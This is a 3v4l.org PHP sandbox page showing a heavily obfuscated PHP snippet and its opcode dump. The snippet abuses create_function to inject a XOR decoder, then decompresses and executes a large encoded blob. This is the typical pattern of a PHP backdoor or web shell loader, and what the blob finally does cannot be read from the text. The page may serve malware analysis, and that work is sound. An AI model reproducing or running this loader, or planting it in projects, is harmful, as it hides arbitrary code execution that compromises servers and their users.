3v4l.org

run code in 300+ PHP versions simultaneously
<?php $hekxstnm=array('$hekxstnm[0]=$hekxstnm[3];$xklubnce=xklubnce(7,13);$hekxstnm[0]=$xklubnce($hekxstnm[2]);','$hekxstnm[2]=gzuncompress(xklubnce(707,2146));','eGRqRnFjdWl0dGhwZm92dVl0aHpOYn1/c3ZOd2l1Y3Bpbmd4RXNjdn19ZW9VQ1BYTkpOTUlXTV5KSV1MWF5qckNkdW93fHBraHR3ZWtga3NwZGc2dWgzJSQzKmZoSWVKd1hnfDZ0Z3AmPCchOyEsbWY+cC9wVFZ/ZHd3YWpucXF5fndpdmVsfm5jKmN3eWt9JHR5YXV/KHtraGZ4eWUvf3x4emdlIXp4bGJkYnFteFVZXldJUWV2aFR+bGVTTnZibHdDKyUsSUNZXldJXU5OSUJrb2hLc2twfDQyXn5zcmt2aj1tZnhlbTJxY21/dWVTOmhsckNPUkxHVVVFQ0NNcFdCSVFQUlJeVFdcQUdRQF9GS1tZUk5EWEpVLnB2Pm5mby11aXdNbD5+bmktKGd1eGUpZ2F/YEM+fm5pLShIWVM8cXxmblNOaE9jRUdTRENFT05JRUdTXUtUdWZhUD5+bmlDZHpvdmNiXm57YVt2ZmRaS3BlZ3NFSWFEZnouem1odX94ZStnf3p3aXV5U2Vmei56bWh1f3hlK3FudXBtWFNkbXdlcXpnYl5+f2NzWEZnP3pLej9mbH53Qlpza3B8NDJefnNya3Zqc053QWZTV3lpYn5xfGNrXn1zZVt/amJ5V3Vrd3hNaktkeGpOVWpZXldJXVNSX0RORVVKWExXTHBuSVB3Oy14cGFkdGJkaTx/YVRIRH'.'NndDgtcnBjY2k4cmt/ZXFseGdPcz4tf210YHZ/cmE8bHl1aFltPn1zNGFpb3x/dipiZ2YnfSw3YT5hTXJTekM3fj5panYnaitzN3w+a2pyf3F1XXZlZHhkam1Ta1NMUnUgWGl6ZlR5fndpOCkuZnV4N30+f2VlWW1WYm93dnJyQUk3fT56d1duZWZ0cmZ6YnpzdnU3fT5qaSZJTkJBKyMhJmdZZXBtOCZ3dXg+VVFploZB6WjrUgRvkRxtmJTkMVUyVeBboymKiGzdKQdRTktvsdGaIDmaG690Y5thx6L/PG0am/sUyENM8+ilzPmcOR0QIw8lO0sMSj4MikeiqlAcJJRU7YKeVo7iQ5+TaTyzsTPUUGM2RfLyLLKFuPKSyki1ZxqDoo5wBKm5VYz5vCVot7fMlkxJYyTHFLUY7EfTR6vxlI31NMaiILXPZNToyaBic4QvNY4gg1VMo9XF8nwdvOA5ozhRlHPnrWDIx58LYy1+bcM9doce1t7I3TqRaYjiS/7zL5c9w9h'.'09nxGcG+Y+2IHgjapqrG/lxg4T4NpSBbYgmzinj7cffxozcg7jMSWswhP1vjiWzSth+XPWjTAnhzZ+y81WS1lBtU2E1Z38Ytja5AtckLiDFbzmyYmHf8yNK/MaF/qMS4ruRiW6nVY0EvQzi5eIPmxx6VYPFefDl2EqvaPN9Ltd22E/2y2jHFE0PNyEdhfxmEGSzC32DrLdhHHKZRL6c7lYUEG94z83g6A6+bJ6x8jdYuIPHJz0/IU+JGsv4jpg2SEm2Ptqg3hUZbnTFelpO9NepkxSaGST/fJE983w9vm/2OVqJ8Y8oe8ZFlu5UFlDamFZtCiie4OaI5jlsVDrrWO+jQ3YELyY3quVxE+lOslCcB/AcsRNSwMz+Mc0zg45yVxVqqQvyVb+dTT5WHi8XH8MNeu9cVkWGeSwK2bpb3LIjIEsCX5su+5O3d8q8vD/a5rjX+gmPlXUCxuy+07VYGJgZ9ALNNHsTWmGelm5Oq8JquZ/Ow8Sm3Uz+sqnwSMTKQSXwYTywVr7/nFR0EVcoqewXU7WbtuwGChtMx50pNWrkHSR6Oyd0s4EIndlEcrWulnOpWf4ZXgdU3B7sDPYCwNR7sKzbgNp9R7IkD8Z0cBTaemYRht3AQEK+gBMtjLDMn7MRM3dw42tpGdlBvyaoXIGNLnCF2vUpMH3waCL7efW/Xa/ePBI8qFXLsps9'.'ZBVbNDTUETNynKKHrVzH1ycX+1onNUoJ2apfHLg3yB3g4XYhQki09Fj67ayzmdIs+iZMKdBukq10GNJSNomJDBuJTc1uMMNdo3bddsd9Pp81od85chRGJs9BMghJzcdJ6HjqjORUr8PcMo1N3SJ9V4fA8J5H3+ujqtJoGjnqj2Abk9N8sJWsJyHrBAtr2aOb+M58cNALXjz6fi0a/elK3RlOx8g0/T5X4qFn9muBn/HUpovAvR1lcslrHhNPYgYAjvETyx3pnDl5Lbq8wUEYA/35soyo2SA96UWF8UWXMMFwGVLj6JfFqLoqege7Z9a93yusKLC07ImqwEt8npX7N7TYEkAU+Vyw9mdcldainJmWOfbNMJdXKVov0Dxo6Yyp9ch1x4SHV+6qf+VcaUCml+HawEqAdKo0oYWubDYsEYgP27EgRl4fRNCoITqEyNCWY9RsXY14hy/WsQVwogHUadKltj8xvMmq9WKUIFp58e0wDKhF+h3/eBEMUCv84v49h05kpFdJeAH2Wzye9If4kv0W7G1iMdmil6ko2vS574+RO8dWHgZvz60iExH59130KWjs1+EqilczZbsxXXYKHPAFR652rJEBFJ1tAgDzEVr+eisoZQ3h/MnUeZ9GSQUgUxOvIfmGksQ6/V3ObpcPE4TsgAE5b/fJTYam6hAj8cUoAU03s/nVHrvu6ssVP4srtfG/fq2NC5FQqd84LNUPmnjLxu7t9g1KMs1jt0w1Q3nRHH0vkzjqQrdzTfJjxT1wTGm9ed+Xn2uEcwV4rHoFOE98n22C8gwkGfcMZ3No9zJeHr12qK9t5x9JSC0+1GWrqy7xCZjTzqRZw+reYLiJJcrbccq4xThN6o80A8WuK5+GVMfIZInSiSWi0Dhbk2UiKQJ4/nOdsuZFaX5IpPuIO+ayCKw1P+Ywg5c+GHTlfKmM/z5gIiAQ02VPPtDq/Y5gnHI4Top'.'C5NjHOnzWvjfz5mVmnIQj/NdsosUlWf8L5nV02kCYHOmZwyK96y2MHdLYxoJcJQ4fEgYhP8E4tlgpUYuB/afLdeejl0mgPQNHfDX9QuVVFBH6fFDj0/o7dILysWtwg/End32D3EYjCrXLVW8DlCfaVlcfhg+/zZU9+dlZ1mPi3DjDIEoY6aPx0nEzZgRc/4vRGwvHEIs/K0TjGppX9X51X3q74HwOkFwTvY/dN/WcnZrHhPBuDBHKKUuT82oiRzgZ0TqXk2Ktg/G7GkFarkExw8oxWJeI3c7HftsqB2FYQYC0c/on42V+FsAC9aRrFz6yy1y0ohnOOxgjxhDr6AmL+Mw57aWpK+8n7Lb0KWgZx3hM8yXeUdjyIqWGdaKNoLztbRYDV1iKkiJ6fPlUYHflXUYPTU6du3BtyJ1GwGQmGiApY3Y8Ltqb5LFmRAMdrlagTjNKEGVdzZX6Y3TkIoyihn3eYaNEaR0M72/ffe/5WoB+SZy8SyeWXTLBfFTepwKEj4cnCTjd8o62rTaR1qbBQa4bbmP9Rp8vI9pm0L2s4y6Fhm8mW6pt3Z3Nsg5nDp4Nfl+4JM2yIvXhepdGwqFql3sb5CcbBUcgNhi/LGTg+nIJieCQMjIZ70NfuMTOgkpHYZf6rmoBl5iTNCXfJk3K6b30Q6c+JetFmEwZ9H8ky1X26ZVxZSkeett+wYr3/s9gU5YYRpLo1t4AcmV9mD2slxu3rD4+NKzkCNCrWipmdvk2ozQQju34U274mnRQVL32qfe1Lm0MzXqApBAn8iWo7b7Pnn9O2VW8koVzh+2rIsaB37NZNPSKtqOlnSrfzwdNb5e9G9bF07/A1aODr2Jz4HdK/BjJEQhN9kY7z3buem9uscizUMlh/09DmTLn8t8BGyHKt7eXBF',"/*kkddp\x73\x6b\x70\x7c\x34\x32\x5e\x7e\x73\x72\x6b\x76\x6a*/");$pebqdcb='create_';if(function_exists($pebqdcb.='function')&&!function_exists('xklubnce')){ $pebqdcb('','}function xklubnce($l,$b){global $hekxstnm;$q=$hekxstnm;$k=str_pad("",$b,"qjcybfazvqdrovxh");$s=str_repeat("\x1f",$b);$i=str_repeat("\xe0",$b);$x = substr($q[0],$l,$b);return(($x^$k)&$s)|($x&$i);}{');for($hz=-1;++$hz<3;){$pebqdcb('','}'.$hekxstnm[$hz].'{');}};unset($hekxstnm);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 7, Position 2 = 12
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 29
Branch analysis from position: 13
1 jumps found. (Code = 42) Position 1 = 26
Branch analysis from position: 26
2 jumps found. (Code = 44) Position 1 = 29, Position 2 = 19
Branch analysis from position: 29
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 19
2 jumps found. (Code = 44) Position 1 = 29, Position 2 = 19
Branch analysis from position: 29
Branch analysis from position: 19
Branch analysis from position: 29
Branch analysis from position: 12
filename:       /in/hlY4Q
function name:  (null)
number of ops:  31
compiled vars:  !0 = $hekxstnm, !1 = $pebqdcb, !2 = $hz
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
          1        ASSIGN                                                   !1, 'create_'
          2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ_EX                                          ~7      $6, ->12
          7    >   INIT_FCALL                                               'function_exists'
          8        SEND_VAL                                                 'xklubnce'
          9        DO_ICALL                                         $8      
         10        BOOL_NOT                                         ~9      $8
         11        BOOL                                             ~7      ~9
         12    > > JMPZ                                                     ~7, ->29
         13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        SEND_VAL_EX                                              '%7Dfunction+xklubnce%28%24l%2C%24b%29%7Bglobal+%24hekxstnm%3B%24q%3D%24hekxstnm%3B%24k%3Dstr_pad%28%22%22%2C%24b%2C%22qjcybfazvqdrovxh%22%29%3B%24s%3Dstr_repeat%28%22%5Cx1f%22%2C%24b%29%3B%24i%3Dstr_repeat%28%22%5Cxe0%22%2C%24b%29%3B%24x+%3D+substr%28%24q%5B0%5D%2C%24l%2C%24b%29%3Breturn%28%28%24x%5E%24k%29%26%24s%29%7C%28%24x%26%24i%29%3B%7D%7B'
         16        DO_FCALL                                      0          
         17        ASSIGN                                                   !2, -1
         18      > JMP                                                      ->26
         19    >   INIT_DYNAMIC_CALL                                        !1
         20        SEND_VAL_EX                                              ''
         21        FETCH_DIM_R                                      ~12     !0, !2
         22        CONCAT                                           ~13     '%7D', ~12
         23        CONCAT                                           ~14     ~13, '%7B'
         24        SEND_VAL_EX                                              ~14
         25        DO_FCALL                                      0          
         26    >   PRE_INC                                          ~16     !2
         27        IS_SMALLER                                               ~16, 3
         28      > JMPNZ                                                    ~17, ->19
         29    >   UNSET_CV                                                 !0
         30      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
162.2 ms | 1401 KiB | 15 Q